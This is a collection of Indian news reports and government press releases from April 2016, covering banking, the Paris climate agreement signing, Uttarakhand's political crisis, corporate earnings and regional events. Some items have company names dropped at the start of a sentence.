Capital Local Area Bank, along with nine other entities, was granted the in-principle approval by RBI to set up small bank on September 16, 2015. It got the final clearance from RBI on March 4 this year. On April 24, it will become the first small finance bank to start operations in the country. It will be called Capital Small Finance Bank. It will also be open on all seven days. With this, the bank will get the scheduled bank status and be allowed to open branches anywhere in India. The bank's business is expected to grow from the present level of Rs 3,000 crore to Rs 11,800 crore by March 31, 2021.

"Since we have already invested in the technology required to meet the challenges in retail banking, our investments to support expansion will be modest. We might add a staff strength of 200 in the first year of expansion to the existing 700 employees and will source them locally. Customers connect to the local staff spontaneously and this helps in rapid growth of business," said Samra.

Capital Local Area Bank was ranked No 1 in the banking sector among India's 100 best companies to work for in 2015, in a survey by San Francisco-headquartered Great Place to Work Institute.

Samra says officials from leading banks have joined his bank thanks to its work culture. In the first year, the bank plans to add 29 branches to the existing 47. By March 31, 2021, the branches are expected to grow to 216 covering mostly the northern sates of Punjab, Haryana, Rajasthan, Himachal Pradesh, and parts of Uttarakhand and Uttar Pradesh, besides the Union territories of Chandigarh and Delhi.

The employee strength is expected to grow to 2,300.
India signed the historic Paris climate agreement at United Nations headquarters in New York along with more than 170 countries, marking a significant step for beginning work on cutting down greenhouse gas emissions to combat global warming.

Environment Minister Prakash Javadekar signed the agreement in the UN General Assembly hall at a ceremony hosted by UN Secretary-General Ban Ki-moon. The ceremony was attended by heads of government, ministers, corporate leaders and artists. "This is a moment in history. Today, you are signing a new covenant with the future," Ban said, adding that, "We are in a race against time."



However, plenty of work remains to be done before the agreement becomes operational. For the agreement to come in to force, it would have to be officially ratified by at least 55 countries accounting for at least 55 per cent of the global greenhouse gas emissions. The signing on Friday, under international law, is one small and ceremonial step towards ratification. Under the Vienna Convention on the Law of Treaties, signing without formally depositing a document of ratification implies that the country has decided to act in good faith to not defeat the object and purpose of the treaty. Only a handful of small developing countries were expected to complete their ratification process on Friday. When negotiations for the Paris agreement began, it was meant to come in to operation in 2020. But the final wording of the pact leaves it open to being put in place earlier than 2020.

The UN Framework Convention on Climate Change secretariat listed out 135 different tasks of detailing the agreement that have to be completed before it can be operationalised - each of these is subject to negotiations between the 190-plus countries and requiring their consensus approval.

One key negotiator for India at the Paris talks explained, "If I was to draw a parallel to the Indian system, the law has been put in place, now rules are to be built to make it work." These rules will be put in place through negotiations over the next three-four years, away from the kind of public attention the Paris meet in 2015 garnered. But the rules, history of negotiations for Kyoto Protocol shows, require as laborious a process of negotiations with countries wary of the devil in the details and holding on for a bargain.

The agreement also entailed several actions, primarily by the developed countries, by 2020. On top of these actions was to ramp up financial support to developing countries. A decision taken in parallel with the Paris agreement asked developed countries "to scale up their level of financial support, with a concrete road map to achieve the goal of jointly providing $100 billion annually by 2020."



Similarly, accounting and reporting provisions are to be developed to put all countries at equal level of scrutiny. India had opposed this move initially but finally accepted parity in the accounting system under the Paris agreement.

Some think tanks such as the Third World Network, which engage with developing countries, had advised against a hurried signing of the Paris agreement in order to push the developed countries to come through on their pre-2020 commitments. But all major developing countries including India and China agreed to sign the agreement. Two senior negotiators for India and another for a large African country said there was a diplomatic push to ensure the agreement comes in to force during the Obama administration. One Indian negotiator said, "There is little benefit - apart from being seen as a 'good guy' - in singing on. On the other hand, I am also not sure of the negotiating benefit of holding on too long."



EU has still not ratified the second phase of Kyoto Protocol, years after it was cleared by all countries. The original Kyoto Protocol also took four years to be ratified after its finalisation. "Ratification is the real deal. The eyes will be off the ball in the next few years and that is when the negotiations will lead to rules that make or break the agreement," one of the Indian negotiators said.

In 2018, the countries are to also assess if the current target levels are adequate to keep global temperature rise under control. Alongside, developed countries have to biannually report how they provide the committed funds.
The Army Commanders Conference will be held from 25 April to 30 Apr 2016, in New Delhi to appraise current and emerging strategic security scenario, review of operational preparedness of the Indian Army and aspects pertaining to training, administration, military technology and force modernisation. Honble Raksha Mantri will be addressing this high level Army Conference on 25 April at Manekshaw Convention Centre, Delhi Cantt. Subsequent to the address of the Honble Raksha Mantri, the Conference will be chaired by Gen Dalbir Singh, The Chief of the Army Staff. The VCOAS, all Army Commanders and other senior Army Officers will attend the conference. As part of the five day conference there will be a structured interaction with senior officials of the MoD including the Defence Secretary. .

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Col Rohan Anand, SM.

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PRO (Army)
A Joint Conference of Chief Justices of High Courts and Chief Ministers of States is being held on coming Sunday i.e. 24th April, 2016 at Vigyan Bhawan, here in New Delhi . This will be inaugurated by Prime Minister Shri Narendra Modi in the august presence of Justice Shri T.S.Thakur, Chief Justice, Supreme Court and Shri D.V. Sadananda Gowda, Union Law and Justice Minister. This conference is held periodically to address pressing issues relating to the administration of justice in the country. Last year it was held on 5th April, 2015. .

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Chief Ministers of all the States and Chief Justices of all the High Courts have been invited to the Conference. The Joint Conference is an occasion for the executive and the judiciary to reaffirm their resolve to support a speedy, efficient and quality justice delivery in the country, and to discuss steps required to surmount the various challenges facing the justice system, such as inordinate delays in disposal of cases in courts, facilitating access to speedy resolution of commercial disputes by economic operators, making the justice system user friendly and affordable to all and improving the quality of legal aid services in the country. .

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A number of positive steps have been taken in the recent past to meet these challenges. The increased investment in infrastructure has resulted in India having more court halls in aggregate than functional courts. The e-Courts Mission Mode Project has enabled litigants and lawyers to access their case data and cause lists online and facilitated monitoring of courts and cases by the judiciary. The new legislation on setting up commercial courts and changes in the legislation on arbitration and negotiable instruments have brought the efforts to improve the ease of doing business into sharp focus for both the judiciary and the executive to act in unison. .

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These initiatives of the Government have further crystallised the issues still ailing the justice delivery system. Additional steps required for speedy resolution of disputes through improvements in court and case management system and simplifying the court procedures, strengthening the legal aid system and handling of cases involving juvenile offenders, implementation by the States of the measures related to the judiciary mandated by the 14th Finance Commission, review of quality of legal education and operationalization of commercial courts are some of these issues. .

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A comprehensive agenda on these issues has been drawn up for the Conference by the Government in consultation with the judiciary. It is an occasion for the constellation of Chief Ministers of States and Chief Justices of High Courts, who will gather in New Delhi to confer on these issues, to deliberate on the further steps required to ensure that the justice delivery system dispenses speedy, affordable and quality justice to all as well as contributes to the ease of doing business in order to achieve the desired economic growth. .

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This is one more effort of the Government towards Sabka Saath, Sabka Vikas. The Conference is expected to come up with definite outcomes in the form of resolutions for implementation by the judiciary and the Central and State governments. At the conclusion of the working sessions, the Chief Justice of India and the Minister of Law & Justice will also interact with the press and media at Vigyan Bhawan, New Delhi itself. .

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Shri Piyush Goyal, Union Minister of State (IC) for Power, Coal and New & Renewable Energy is currently visiting U.S.A. (from 20 to 22April) to participate in the launch of programmes under International Solar Alliance today at the United Nations, New York. The Minister is accompanied by an official delegation which included Secretary, Ministry of New & Renewable Energy and Joint Secretary, Ministry of New & Renewable Energy. .

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On 21st April, the Minister met with Mr. Stephen Schwarzian, Chairman, CEO & Co-Founder, Blackstone Group over lunch and discussed investment opportunities in India and the transparent policy regime that the Government under Prime Minister Shri Narendra Modi has ushered in. Shri Goyal also held meetings with Mr. Jack Kutner, CEO Big Belly, Mr. Richard Kauffman, Chairman of Energy and Finance, Office of the Governor of New York, Mr. Saurabh Agarwal of Warburg Pincus and Mr. Alfred Griffin, President of the New York Green Bank. The Minister also addressed a meeting of large number of American investors and developers in the field of Renewable Energy which was jointly organized by Confederation of Indian Industry (CII) and US-India Business Council (USIBC) in the evening. Earlier the Minister had held interactions with print and electronic media at the Consulate General of India, New York. .

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In his forward looking discussions with the business dignitaries, Shri Goyal highlighted the achievements of the Government and said the Government is committed to implement the promises made by the Honble Prime Minister Shri Narendra Modi. He briefed about various steps undertaken by the Government to improve energy access, rapid scale up of renewable energy, enhancing grid reliability, integration of renewable in the grid and the massive opportunity presented by the untapped demand in the Indian market. The Minister outlined the steps being taken to improve the contractual/counter-party risk framework which is critical to all investors and about initiatives such as greening the grid, National Solar Mission, LED programme for enhancing energy efficiency. Speaking on Ujwal Discom Assurance Yojana (UDAY), the Minister stressed upon the steps being taken to bring a drastic change in Indias power sector that can take India to double digit growth trajectory in the economy. He also mentioned that India already has surplus power and demand stimulation through UDAY coupled with the growth in the Indian economy will quadruple electricity consumption by 2030. .

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Shri Goyal also stressed that the Government is taking necessary actions to sustain the current economic growth of India and continue with major initiatives that are taken by the Government to make it more business friendly. He also expressed hope that given the prediction of good monsoon this year, the country may see double digit growth by end of 2016-17 financial year itself. He also highlighted the need of India to have low cost, long tenor finance for his ambitious renewable energy scale of and requested the investors to look at India as an option for investment. He urged investors to take advantage of three Ds democracy, demography and demand which India provided. .

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RM/
As part of its ongoing efforts to improve road safety in the country and facilitate ease of transport, the Ministry of Road Transport & Highways has convened a meeting of Principal Transport Secretaries of states and Transport Commissioners to deliberate on various issues in this regard, that need to be addressed urgently. The deliberations will focus on what needs to be done to make road travel safer, bring down number of accidents, facilitate ease of transport and enhance customer experience in transactions with transport and police departments. Todays meeting is also being attended by stakeholders like representatives of motor transport companies, state road transport undertakings and bus operators among others, so that all areas of concern can be discussed in detail. Speaking on the occasion Shri Sanjay Mitra, Secretary Road Transport & Highways reiterated his Ministrys commitment to facilitate building of a cogent mechanism for safe and seamless road travel in the country. .

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Todays meeting is in preparation for a meeting of the Group of Ministers for Transport of states, scheduled to be held in New Delhi on 29th April 2016. The GoM was constituted by the Central Government to suggest a road map for reforming the road sector. As a signatory to Brasilia Declaration, India is committed to reducing the number of road accidents and fatalities by 50 % by 2020.

We need urgent reforms to weed out archaic rules and practices so that the road sector can support the high growth rates of the Indian economy. In order to ensure road safety and improve customer satisfaction there is an urgent need to make administrative changes, amend the Motor Vehicles Act and make optimal use of technology to cut down delays. The GoM headed by Shri Yunus Khan, Minister for Transport, Rajasthan and comprising state Transport Ministers, was constituted to suggest a road map for achieving the above objectives. The GoM will have its first meeting in New Delhi on 29th April 2016. The objective of todays meeting is to crystallize the agenda points for the meeting of the Group of Ministers. These are likely to include issues like safety of non motorized vehicles, pedestrians, automobile safety features, quality control over automobiles, issue of driving licences, fitness of vehicles, public education, strengthening of traffic enforcement, enhancing customer experience in transaction with transport and police department and issues pertaining to improving ease of transport. .

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The National Defence College, New Delhi held a panel discussion on 22 April 2016 to discuss a soon to be released book Indias Wars: A Military History 1947-1971 written by one of its faculty members Air Vice Marshal Arjun Subramaniam. Opening the proceedings, the Commandant of NDC Lt Gen NS Ghei expressed his satisfaction that the NDC was emerging as a research and intellectual hub within the strategic domain. The eminent panel comprised veterans of all three services who were witness to and participated in the momentous wars that India fought in 1962, 1965 and 1971. Vice Admiral Subhash Chopra Lt Gen Satish Nambiar and Air Marshal Patney shared their perspectives of land, maritime and air operations during the period with an audience that comprised the NDC course participants, officers from the three service HQs and a few think tanks..

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DM/RAJ
may soon get to open its own retail outlets in India as the government is set to waive the requirement of mandatory domestic sourcing for Apple, The Times of India reported on Friday.

The company has sought an approval from the Centre to waive sourcing norms on grounds of providing state-of-the-art and cutting edge technology.

On Tuesday, the company made a presentation to a panel headed by Ramesh Abhishek, secretary of industrial policy and promotion. Their products certainly meet the requirement for waiving the local sourcing clause, a source told the publication. A final decision is likely to be announced in a few days, the report added.

Read more from our special coverage on "APPLE"

The current policy requires mandatory sourcing of 30% of the goods from within the country. This was proving to be a major hurdle for as its market did not have vendors to meet this need.

has indicated that it may start production locally in the future, but its current sourcing from India is limited to some chargers. The company also informed the government that it no immediate plans to sell refurbished phones in the country.

Currently, Apple sells via its distributors in the country. During the presentation, it reportedly indicated opening of several stores, but would rely on other retailers too.

India and China have been identified as Apples top markets. The company had sales revenue of Rs 7,000 crore in 2015, while its sales grew 76% during the quarter ended in December 2015.
Najim Laachraoui, one of the bombers, has been identified by several Frenchmen held hostage by Islamic State in Syria as one of their prison guards, sources close to the investigation said Friday.

According to one of the sources, four French journalists kidnapped and held in Syria from 2013 to 2014 had identified a guard known as "Abou Idriss".

One of the journalists, Nicolas Henin, "has formally identified" Abou Idriss as being Najim Laachraoui, his lawyer Marie-Laure Ingouf said, confirming reports in French newspapers.

Belgian prosecutors have said Laachraoui travelled to Syria in February 2013 to join up with IS forces.

There was no further trace of the Belgian national until he was registered under a false name at the border between Austria and Hungary in September 2015.

Laachraoui, 24, was one of the two suicide bombers who struck on March 22, while a third attacker blew himself up at on a metro train, with the two attacks killing 31 people.

Prosecutors have also linked him to November's attacks in Paris in which 130 people died, saying his DNA was found on a suicide vest and a piece of cloth at the Bataclan concert hall where 90 people were killed.

Police also found his DNA on explosives used at the Stade de France, leading investigators to believe he was the bomb maker in both the French and Belgian attacks.

The former French hostages have already identified two Frenchmen as being among their jailers when they were held in Syria.

One, Mehdi Nemmouche, is in custody accused of killing four people in an attack on the Jewish museum in Brussels in 2014.

The other is Salim Benghalem, who has been sentenced in absentia in France for recruiting for IS and is listed as a "foreign terrorist combatant" by the United States.
reported results that fell short of analysts' expectations, showing its high-profile cloud business cannot quite make up for a slowing personal-computer market.

Shares fell 5% in after-hours trade to $52.92.

Two of Microsoft's three major businesses showed lower operating profits, led by what calls its intelligent cloud division, which includes its Azure cloud-services business as well as traditional server software. Despite revenue at Azure more than doubling, revenue in the division grew just 3%.

"We would have liked to have seen 7 to 9% growth," Dan Morgan, a portfolio manager at Synovus Trust who holds shares, said of intelligent cloud revenue. "We're trying to validate this story that Microsoft is truly becoming a cloud company, and they're not going to be relying on the desktop computer."

Microsoft executives said that the shortfalls in the intelligent cloud business were due to pressure on products that were tangential to the main cloud push, such as server software, which mollified some investors.

"Microsoft's cloud business is gaining sales and momentum in the marketplace, so I am willing to give them the benefit of the doubt on this quarter's missed external expectations," said Matt McIlwain, a venture capitalist at Madrona Venture Group who watches Microsoft closely. "But, the combined top line and bottom line miss will raise the stakes for their final quarter of the 2016 fiscal year."

Revenue at the Redmond, Washington-based software giant fell to $20.53 billion from $21.73 billion.

The company's net income in the third quarter ended March 31 fell to $3.76 billion, or 47 cents per share, from $4.99 billion, or 61 cents per share, a year earlier.

The company in part blamed a higher-than-expected tax rate for the lower net income.

Adjusted revenue of $22.08 billion was just shy of the $22.09 billion analysts had expected, according to Thomson Reuters I/B/E/S.

Excluding one-time items, Microsoft earned 62 cents per share. Analysts on average had expected a profit of 64 cents per share.

Operating profit at the productivity and business processes group, which includes its Office software, dropped 7%. Revenue grew 1% to $6.5 billion.

But operating profit at Microsoft's biggest division, More Personal Computing, which includes its Windows operating system, the Surface computer and its Xbox gaming system, rose 57% from the prior-year quarter to $1.65 billion. Improved profit margins were driven by lower expenses in Microsoft's phone business, which the company scaled back drastically last year, and sales of Surface portable devices.

Revenue in the group rose 1% to $9.46 billion in the quarter. Worldwide PC shipments fell 11.5% in the same period, according to research firm IDC.

Revenue in Microsoft's intelligent cloud business, which includes the Azure cloud infrastructure-and-services business as well as products such as noncloud-related server software, rose 3.3% to $6.1 billion in the quarter.

Many investors gauge Microsoft's cloud strength by looking at what it calls its commercial cloud, a separate measure that includes cloud businesses such as Azure and Office 365 software. The commercial cloud is on track for over $10 billion in revenue for the year starting in March, it said, up from the $9.4 billion figure it gave last time.

Chief Executive Satya Nadella has focused on developing the company's cloud business with his "mobile first, cloud first" strategy, since taking over in early 2014.
Singapore Airlines' no-frills brand on Friday announced the launch of its service from Singapore to Chennai, Amritsar, and Jaipur.

Scoot, which began operations in 2012, becomes Singapore Airlines' fourth brand to operate flights to India. While flights to Chennai and Amritsar will begin from May 24, the flight to Jaipur will commence from October 2. The airline will have daily flights to Chennai and four weekly flights to Jaipur and Amritsar.

The airline is offering limited one-way economy class seats to Singapore and Sydney at a promotional all-inclusive fare of Rs 4,255 and Rs 12,567, respectively, from all the three cities. Business-class fares to Singapore and Sydney are Rs 11,902 and Rs 30,520, respectively. The discounted tickets are available for sale till next Thursday.

LOOK, NEW BIRD CIRCLING INDIA First airline

To fly all-Boeing-787 fleet



To fly all-Boeing-787 fleet 10 Boeing 787

Aircraft it has, and has another 10 on order



Aircraft it has, and has another 10 on order 6 million passengers

has flown till now since its launch in 2012



has flown till now since its launch in 2012 17 destinations

It flies to in Australia, China, Japan, and Korea.

It flies to in Australia, China, Japan, and Korea. New destinations

Include Jeddah and three Indian cities



Include Jeddah and three Indian cities Carrier

Will be the second low-cost airline after AirAsia X to operate wide-body aircraft to India. AirAsia X flies between Kuala Lumpur and Delhi

At present, Singapore Airlines and its two other brands  SilkAir and Tigerair  fly to India. Scoot's entry is resulting in some capacity adjustments and is taking over Tigerair's flight between Singapore and Chennai. The addition of flights to Amritsar and Jaipur takes the number of destinations served by the Singapore Airlines groups carriers to 15. This makes Singapore Airlines group the largest among foreign airlines in India on the basis of destinations.

Scoot flies wide-body Boeing 787 planes with 335 seats and will be the second low-cost airline after AirAsia X to operate wide-body aircraft to India. Scoot offers business-class seating but charges economy-class passengers for meals and luggage.

Scoots CEO (chief executive officer), Campbell Wilson, said the airline brings its proposition of value travel and service to customers in India who will be able to connect to destinations via Singapore hub and experience brand-new 787 Dreamliners featuring inflight connectivity, in-seat power, and a wide range of customisation options.

Scoots country head, Bharath Mahadevan, said, "We are looking at leisure, Visiting Friends and Relatives (VFR), and corporate traffic from India. We expect 50-80 per cent of passengers from India to fly onwards on our network in Southeast Asia and Australia. The Singapore Airlines groups carriers operate to cities such as Coimbatore, Visakhapatnam, Lucknow, and Trichy (also called Tiruchirapalli) and we will continue to grow our presence in Tier-II markets. Also, we will tap cargo demand and can carry 10-12 tonnes daily on each of our flight."



Jaipur is a new destination for the Singapore Airlines group and Scoot hopes the flight will attract foreign tourists visiting the city. Singapore Airlines flew to Amritsar for four years till 2008 but withdrew as it felt there was less demand for a full-service airline on the route.

Both Amritsar and Jaipur are not linked to Singapore by any carrier at present.

Malaysian airline Malindo Air flies thrice weekly between Kuala Lumpur and Amritsar and currently that is the only direct flight to Southeast Asia from Amritsar.

Mahadevan said Scoot passengers from Jaipur and Amritsar would be able to connect onwards from Singapore on all four airlines  Singapore Airlines, SilkAir, Scoot, and Tiger.

However, Scoot passengers from Chennai will be able travel onward over Singapore only on Scoot and Tigerair network, he said. This is being done to ensure that Scoot does not eat into Singapore Airlines's business in Chennai market.
has moved higher by 3.5% to Rs 3,833 on the BSE in otherwise range bound market tracking the weakness in the Japanese yen.

A weaker yen would improve Maruti's margins by reducing the costs of importing auto parts from Japan.

The yen weakened as Bank of Japan weighs the possibility of offering negative-rate loans to banks, the Bloomberg report suggests. CLICK HERE TO READ FULL REPORT.



The possibility of another negative interest-rate in Japan weakened the yen, which slumped 1% versus the greenback, added report.

Thus far in 2016, the stock underperformed the market by falling 20% due to appreciation in yen against the rupee. The benchmark S&P BSE Sensex declined 1% during the same period.

At 01:35 pm, the stock was up 3.3% at Rs 3,828 on the BSE as compared to 0.04% decline in the S&P BSE Sensex. A combined 858,252 shares changed hands on the counter on the BSE and NSE.
The Securities and Exchange Board of India (Sebi) might allow new participants such as banks, mutual funds and foreign portfolio investors in the commodity market.

The regulator met commodity market participants on Friday, where the issue was discussed. This was part of the regulators effort to increase participation in the segment.

The participation of these entities and certain other alternative investment funds in commodity derivatives trading has been awaiting regulator approval for a while. is contemplating ways to integrate the commodity and equity space, to reduce asymmetry between the two, said people who attended the meeting.

The regulator is also planning measures to reduce risks and improve liquidity in the commodity market. "The purpose is to have seamless operations in both the segments, which has been a challenge since the Forward Commission was merged with in September 2015," said a source who participated in the meeting. It saw representatives of the commodity exchanges brokers, traders, hedgers and physical market players.

indicated it was working on the new hedging mechanism to increase volumes. It is also keen on allowing portfolio management services in commodities.

The meet discussed the idea that financial institutions participate in the commodity derivatives market as hedgers.

Commodity brokers proposed introduction of exchange-traded products such as options based on commodities, to have better connectivity between the physical market and commodity exchanges.

New commodity derivatives such as options and index futures were also discussed, said a source. At present, only futures contracts are allowed in the commodity derivatives trading space.

Sebi reiterated it would ensure a single licence for both equity and commodity exchanges during this year.

Commodity brokers raised concerns on the required margin, substantially lower as compared to equity .
Tech giant Apple's second-biggest market in the world, China has stopped selling ebooks and iTunes movies after a government regulator demanded the services' closure.

China's State Administration of Press, Publication, Radio, Film, and Television is behind the shutdown, the Verge quoted the New York Times.

Apple first launched the iBookstore and iTunes Movies in China six months back.

"We hope to make books and movies available again to our customers in China as soon as possible," an Apple spokesperson said in a statement.

The California-based company reported USD16.823 billion in revenue for Greater China in 2015, up 71 percent year over year. It was also the only territory to show positive growth over last quarter's blowout numbers.
With the massive landslide in Tawang district of Arunachal Pradesh claiming the lives of 16 people, Congress president Sonia Gandhi on Friday extending her condolences to families of the dead, called on her party MLAs to volunteer with relief.

Sonia has also called the Pradesh Congress Committee members and volunteers to contribute to the relief work

"Congress President, Smt. Sonia Gandhi has expressed distress and shock at the tragic land slide in Kameng, Arunachal Pradesh. Extending her condolences to families of the dead in the accident, Smt. Gandhi hoped that relief & rescue operations will avert further loss," the Indian Congress said in a series of tweets.

Meanwhile, the rescue operations are underway to ensure that there are no more casualties.

The deadly landslide was triggered by incessant rains in Famla village in Tawang District, where the deceased are reported to be labourers from nearby states who were working at the construction site of a five star hotel.

More rain-triggered landslides are also being reported from different part of Tawang, damaging electric poles and disrupting power supply.

Chief Minister Kalikho Pul has asked Tawang Deputy Commissioner for a detailed report on the landslides.
According to a statement by the Election Commission of Pakistan (ECP), Prime Minister Nawaz Sharif has no assets abroad, but continues to receive vast amounts from his son, Hussain Nawaz who lives in the United Kingdom.

According to Dawn, the statement which was released amidst the ongoing furore over the Panama Papers expose, the value of the assets owned by Sharif and his spouse comes to around Rs2 billion, which is an increase of over a billion in just four years.

The value of his assets in 2011 was Rs 166 million, which ballooned to Rs 261.6 million in 2012 and then to Rs 1.82 billion in 2013, making him a declared billionaire, and then, in 2014, the declared value of his assets rose to around Rs 2 billion.

Sharif received over Rs 215 million from his son Hussain Nawaz in 2015. He had previously received remittances from his son, worth Rs 239 million and Rs 197. 5 million in 2014 and 2013, respectively.

Sharif owns a Toyota Land Cruiser as well as two Mercedes vehicles and the house he lives in is owned by his mother.

He also has multiple foreign and local currency accounts, huge swathes of agricultural land and investments in industrial units such as sugar, textile and paper mills.

Sharif has also declared, ownership of birds and animals worth Rs2 million.

His wife, Kulsoom Nawaz, has land and a house that is worth Rs 80 million, a bungalow on The Mall in Murree which is worth Rs100 million, as well as shares in the family business.

Their son-in-law, retired Capt. Mohammad Safdar has listed only one property and 550 grams of jewellery in the name of his wife, the PM's daughter, Maryam Safdar.

According to the ECP statement, the property owned by Maryam Safdar is a 2006 BMW 4800CC car, while her jewellery is worth Rs1 million.

The net worth of the Prime Minister's son-in-law is only Rs 5 million, aside from some 20 acres of land in Mansehra district and around 215 acres of barren land in Rajanpur, Punjab.
The Centre on Friday asked the Supreme Court to stay the Uttarakhand High Court's order of quashing President's rule in the state.

Disqualified Uttarakhand legislators also moved the apex court against their disqualification and the decision to keep them out of voting during the floor test.

The Registrar General of the Supreme Court will take instruction from Chief Justice of India (CJI) T.S Thakur on listing of the matter.

Attorney Governor Mukul Rohtagi had earlier mentioned the matter before branch headed by Justice Deepak Mishra.

"The learned Attorney General Mr. Mukul Rohtagi and other lawyers today made an urgent mentioning before the Supreme Court on the Uttarakhand High Court order. It was pointed out by the Attorney General that an urgent hearing is required because here is a situation that an order has been dictated in the Uttarakhand High Court. That order is not available with anybody and that order is now moving towards implementation," BJP leader Nalin Kohli told reporters.

"The apex court pointed out that matter is before the Registrar General and the Chief Justice will give instructions. The matter is expected to be heard later today," he added.

The Uttarakhand High Court yesterday ordered the restoration of the Harish Rawat-led Congress government in the state saying that the Centre did not have any concrete proof to impose President's rule.

The court asked Harish Rawat to prove his government's majority on the floor of the Assembly on April 29.

Allowing ousted chief minister Harish Rawat's petition challenging the imposition of President's Rule, the court fixed April 29 for the floor test for him.
Asserting that the Centre respects the rule of law, Union Parliamentary Affairs Minister M. Venkaiah Naidu on Friday said President's rule was temporarily imposed in Uttarakhand as there was a Constitutional breakdown in the hill state.

Naidu, however, said that one must wait for the verdict of the Supreme Court on the Uttarakhand political crisis.

"The matter is being taken up to the higher court. Let us wait for the final verdict of the court. As far as we are concerned, we feel that there was no way other then 356. The assembly is not dissolved, the S. R. Bommai case has been kept in mind because there was a Constitutional breakdown temporary President's rule has been imposed," Naidu told ANI here.

"As far as we are concerned, we always respect the rule of law, we respect the Constitution," he added.

Justifying the move to recommend President's rule, Naidu said the Government of India is very clear that there is a Constitution breakdown in Uttarakhand because the Appropriation Bill is not passed.

"On one hand the government is saying the Appropriation Bill has been passed with a voice vote, on the other hand the Speaker disqualifies the MLAs saying that you have opposed the government. How can these two things go together? There is confusion on the contradiction that has to be cleared," Naidu said.

"Secondly, how can you have a trial of strength by disqualifying the MLAs? The trial of strength has to be fair, impartial. If you disqualify the opposition or if you disqualify the MLAs who are opposing you and then you say that I have got the majority it will be travesty of truth and also against the basic principles of democracy," he added.

Hailing the High Court's verdict ordering restoration of his government in Uttarakhand, Chief Minister Harish Rawat earlier in the day said the Bharatiya Janata Party (BJP)-led Centre has 'every right' to approach the Supreme Court in this regard but added that the ruling dispensation must not disturb the federal structure for ulterior motives.

Rawat also slammed the Centre for interfering with the functioning of the states and said that dismissing the governments on the basis of 'local politics' was incorrect.

"They won't get any respite from the Supreme Court because this decision was taken keeping the welfare of the state in mind. They have every right to approach the apex court. We would like to request the Centre to allow the state governments to work the way they want as that is what the federal structure is all about," Rawat told ANI in Dehradun.

"Regarding the court's decision, let the local people decide if it is good or bad. Removing the governments on the basis of local is not right," he added.

Meanwhile, the Centre will move the Supreme Court today challenging the Uttarakhand High Court's order quashing the imposition of President's rule in the state.

Attorney General Mukul Rohatgi yesterday said he will mention the matter before the apex court seeking a stay on the verdict.

The High Court yesterday ordered restoration of the Rawat-led Congress government in the state, saying that the Centre did not have any concrete proof to impose the President's rule.

The High Court asked Rawat to prove his government's majority on the floor of the Assembly on April 29.
Nepal's UCPN-Maoist chairman Pushpa Kamal Dahal has called for unity among all revolutionary, patriotic and change-seeking forces in the country.

Dahal, who was speaking at a programme held on the occasion of Nepal Communist Party (NCP) anniversary and the then Soviet Union's powerful leader Vladimir Lenin's 146th birth anniversary, emphasized that today's prime necessity was to see unity and polarisation among the entire revolutionary communists and progressive leftist forces in the country.

He added this day will instill motivation in us to take steps forward on the path of socialist revolution by completing the remaining workload of the revolution of people's democracy.

Dahal said the Nepal Communist Party was established 67 years ago in 1949 coinciding with Lenin's birth anniversary and added that the communist uprising in the country was advancing through a tortuous path by making noteworthy contribution in nation's political and social transformation.

Dahal further asserted that communist uprising was rooted at the centre of national politics today following the people's war and people's uprising, the Himalayan Times reports.

The UCPN-Maoist chairman said that the uprising, which grew on the foundation of the people's war, ended the royal institution and secured political achievements as republic, secularism, federalism and inclusiveness through the Constituent Assembly (CA).
The Delhi High Court on Friday sought a response from the Aam Aadmi Party (AAP) Government over a plea seeking a CBI probe in alleged bribery case against Food and Supplies Minister Imran Hussain.

Chief Minister Arvind Kejriwal-led government told the High Court it needs some time to file a status report on the corruption charges levelled against Hussain.

The case will be next heard on July 27.

The Congress Party had in February alleged that Hussain's staffer had been caught on camera demanding bribe on his behalf.

The grand old party had demanded immediate resignation of the Delhi Minister, alleging a sting operation that has purportedly revealed a bribe of Rs. 30 lakh was demanded by a person for regularising an illegal construction in Ballimaran area of north Delhi on his behalf, a charge denied by the AAP leader.
Internet giant Google on Friday showcased the beauty of our planet with a Doodle on the occasion of 46th Earth Day.

Doodle artist Sophie Diao has sketched out major biomes of Earth, and has portrayed them very attractively on the Google home page.

These five biomes inspired doodles can be seen in gaps of 15 minutes or by either refreshing the page.

Meanwhile, with India set to sign the Paris Agreement on climate change in New York today on the occasion of Earth Day, Prime Minister Narendra Modi has urged the nation to offer 'reverence and gratitude' to mother earth, which has given mankind everything it needs for survival.

Earth Day is being celebrated as an annual event on April 22 since 1970 to demonstrate support for environmental protection. The event is now coordinated globally by the Earth Day Network and celebrated in more than 193 countries each year.
Stating that the Royal Oman Police is investigating the death of Chikku Robert, an Indian from Kerala, the Ministry of External Affairs (MEA) on Friday said the Mission in Oman will continue to follow up the case with the concerned police authorities, including the release and transportation of the mortal remains, after the investigation is completed as per the wishes of the family

"On 21st April, 2016, in Salalah, Oman, a nurse from Kerala Chikku Robert was found murdered. Our Mission in Muscat has informed us that the Royal Oman Police is currently investigating her death. A Pakistani national, her neighbour and her husband are under detention and are being investigated. The embassy is in touch with the concerned police authorities," MEA official spokesperson Vikas Swarup told the media here.

"Her mortal remains are in a mortuary under the custody of the Royal Oman Police. The Mission in Oman will continue to follow up the case with the concerned police authorities, including the release and transportation of the mortal remains after the investigation is completed as per the wishes of the family," he added.

External Affairs Minister Sushma Swaraj yesterday condoled the murder of the nurse in Salalah city of Oman.

"I am sorry to know about the murder of Ms. Chikku Robert - an Indian from Kerala working as a nurse in Oman. I have asked Indian Ambassador to ascertain all the facts and report. My heartfelt condolences to the bereaved family," Swaraj said in a tweet.

25-year-oldRobert, a staff nurse with Badr Al Samaa Group of Hospitals, Salalah from Angamaly in Ernakulam, was found murdered in a suspected theft attempt at her flat in Salalah, Oman.
Nepal's first woman President Bidhya Devi Bhandari will pay an official visit to India next month on the invitation of her Indian counterpart Pranab Mukherjee.

"India shares unique centuries old civilisational links with Nepal. Our age-old ties have been constantly nurtured by frequent exchanges of high-level visits. In this context, we look forward to welcoming the President of Nepal Smt. Bidhya Devi Bhandari next month in India on her first official visit abroad since taking office," Ministry of External Affairs (MEA) official spokesperson Vikas Swarup told the media here.

"Honourable Rashtrapati ji has extended an invitation to her for the official visit during which she will be our honoured guest to stay at the Rashtrapati Bhawan while in New Delhi," he added.

Swarup further said President Bhandari has also evinced an interest in participating in the Simhastha Maha Kumbh festival in Ujjain next month.

As close neighbours, India and Nepal share a unique relationship of friendship and cooperation characterized by open borders and deep-rooted people-to-people contacts of kinship and culture.

There are regular exchanges of high level visits and interactions between India and Nepal. Nepalese Prime Minister Sushil Koirala visited India to attend the swearing-in ceremony of Prime Minister Narendra Modi on May 26, 2014.

